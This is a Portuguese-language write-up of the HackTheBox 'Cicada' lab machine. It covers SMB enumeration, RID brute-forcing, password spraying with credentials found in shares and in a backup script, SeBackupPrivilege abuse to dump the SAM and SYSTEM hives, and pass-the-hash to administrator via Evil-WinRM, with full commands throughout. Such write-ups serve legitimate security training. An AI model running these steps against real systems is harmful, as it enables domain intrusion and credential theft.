> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Relato do HackTheBox Cicada

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB (RID-Brute)
* Vazamento de informações (Descrição do usuário) (netexec)
* Escalonamento de privilégios (SeBackupPrivilege)
* Extração do SAM (pypykatz)
* Pass-the-Hash (EvilWinRM)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/786c8cad594bbea422df826999bede67b9bfbfa1" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/38c4cffd3cd28621b0b84f4abfb92ad8109a906a" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="/files/5776cfdf2ad3cbf7bac3620ee11a6e94310adebd" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a área de transferência (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

<figure><img src="/files/d38501fb2b89ca47af3a46f536fa7f44343e0cab" alt=""><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="/files/73556d9280bc8af8c754d0f5304b79f0460b1be4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/253771bec9087742f8e0f7d75135bcaef2cc641c" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

<figure><img src="/files/b20f64d8a6e071300556c3458b6b8bb39ccc1c4d" alt=""><figcaption></figcaption></figure>

### Porta 445 - SMB

**Listagem SMB com smbmap**

Para listar recursos compartilhados com uma sessão nula:

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="/files/9e8baff9ff2b274490e253cfb55015bf89dc462b" alt=""><figcaption></figcaption></figure>

O **HR** a pasta contém um arquivo de texto interessante. Exploramos seu conteúdo:

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="/files/18545d79832c2a91288f4de8f2fb2acca8cc855c" alt=""><figcaption></figcaption></figure>

**Baixar arquivo**

Acessamos o compartilhamento e baixamos o arquivo:

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="/files/023d8f0c712a63bd58da6aeb27f84883e24ad3e2" alt=""><figcaption></figcaption></figure>

O arquivo contém uma senha

* senha: `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="/files/1dace8460203480428f90a27634abd04d60de86c" alt=""><figcaption></figcaption></figure>

## Lista de RID-Brute

#### Para identificar os usuários do domínio, lançamos um ataque RID-Brute:

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> O `--rid-brute` parâmetro é usado para realizar um /*/* ataque de força bruta/*/* no **RID (Identificadores Relacionados)** usuários em um domínio do Windows. Um RID faz parte do identificador exclusivo de um usuário em um sistema Windows e geralmente é usado para identificar contas de usuário e grupos

<figure><img src="/files/6870064474555f872fe5fc552d55945cce06070b" alt=""><figcaption></figcaption></figure>

Aqui está a lista de usuários encontrados:

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### Validação de usuários

Testamos a senha encontrada para todos os usuários:

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

O usuário **michael.wrightson** usa essa senha.

<figure><img src="/files/f78c2b7007ac0be91bdaea3e9a294bfedb46a193" alt=""><figcaption></figcaption></figure>

### Usuário Michael:

### Enumeração com netexec

Usamos **michael.wrightson** credenciais para explorar mais:

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="/files/25c99fcda5fff39065532a71e0da1bd02043ef3a" alt=""><figcaption></figcaption></figure>

Isso revela a senha em texto claro do usuário **david.orelious**:

* nome de usuário: `david.orelious`
* senha: `aRt$Lp#7t*VQ!3`

/*/Validação e enumeração SMB com as credenciais em //* **david.orelious**

### Pivotando para o usuário David

Validamos as credenciais de david.orelious com CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="/files/61fc336bc31490369536129e54e4b8d6437aa609" alt=""><figcaption></figcaption></figure>

Em seguida, exploramos os compartilhamentos SMB acessíveis no alvo com smbmap:

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="/files/e5cc79d2144bce96a79d2704509dee4cf2a8e018" alt=""><figcaption></figcaption></figure>

Depois, nos conectamos ao compartilhamento DEV com smbclient:

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

Neste compartilhamento encontramos um script chamado backup/ script.ps1.

<figure><img src="/files/d5f76d5d9d6e3c97ef3e5bf7a3c6873df93c4ee2" alt=""><figcaption></figcaption></figure>

### Pivotando para a usuária Emily

Baixamos o script backup/ script.ps1 com o comando get e descobrimos o ID de usuário emily.oscars

* nome de usuário: emily.oscars
* senha: Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="/files/a058ac756cfdfc716641d8c02e45cc6faf6682fc" alt=""><figcaption></figcaption></figure>

Validamos essas credenciais com CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

Em seguida, nos conectamos à máquina com Evil-WinRM:

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="/files/4d3d39af113e5bd289677087fd72fe9dbc3f36bc" alt=""><figcaption></figcaption></figure>

### Flag user.txt

Recuperamos a flag do arquivo user.txt.

<figure><img src="/files/5ce9a427794bdb20d0c2ffe8d167ad1ce1bda508" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**Verificação de privilégios**

Para começar, vamos verificar os privilégios do usuário atual. Execute o seguinte comando para verificar se o usuário tem o `SeBackupPrivilege` privilégio:

```bash
whoami /priv
```

<figure><img src="/files/d378d7d506306e3d5686075c3f8be85ed29ec475" alt=""><figcaption></figcaption></figure>

**Baixe os arquivos DLL necessários**

Para abusar desses privilégios, baixe os arquivos DLL para a máquina vítima. Eles estão disponíveis [aqui](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

Baixe esses arquivos para a máquina da vítima usando os seguintes comandos

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/5e26f75af4e7482c67221324e492c41157f18f17" alt=""><figcaption></figcaption></figure>

**Carregando módulos DLL**

Depois que os arquivos DLL forem baixados, carregue-os na sessão do PowerShell usando os seguintes comandos:

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**Faça backup dos arquivos SAM e SYSTEM**

Agora vamos salvar os `SAM` e `SYSTEM` arquivos que contêm as informações de identificação dos usuários. Use os seguintes comandos para salvá-los:

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="/files/5ecda76e57eea96ce3dd4faf3f0956bd50433832" alt=""><figcaption></figcaption></figure>

**Baixe os arquivos SAM e SYSTEM**

Depois de salvar os arquivos, você pode baixá-los para sua máquina virtual (VM) para analisá-los:

```powershell
download sam
download system
```

<figure><img src="/files/6b6c60bc47c307e3f9e294fe4209c1b85fab9049" alt=""><figcaption></figcaption></figure>

### **Extraindo hashes do arquivo SAM**

Use `samdump2` para extrair hashes de `SAM` e `SYSTEM` arquivos:

```bash
samdump2 system sam
```

<figure><img src="/files/1a695ca5557004fcefdeedf1a5a6f1059eb63da0" alt=""><figcaption></figcaption></figure>

Se este comando não funcionar, você pode tentar `pypykatz` para extrair os hashes diretamente:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/c0252038a379363648217910ae59dc9152b65a49" alt=""><figcaption></figcaption></figure>

Isso deve fornecer um hash válido, por exemplo:

* hash: `2b87e7c93a3e8a0ea4a581937016f341`

### **Pass-the-Hash com Evil-WinRM**

Agora que você tem o hash, pode usá-lo para realizar um "Pass-the-Hash" e se conectar à máquina alvo usando `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/15273b5bdcc6382910e5be1ff256dfbf16030f92" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/bed482fa8fbf0f1e221be1e72aaffcd73cf46427" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8a8338d98f175febafcd13d5d691fb504177fc2a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
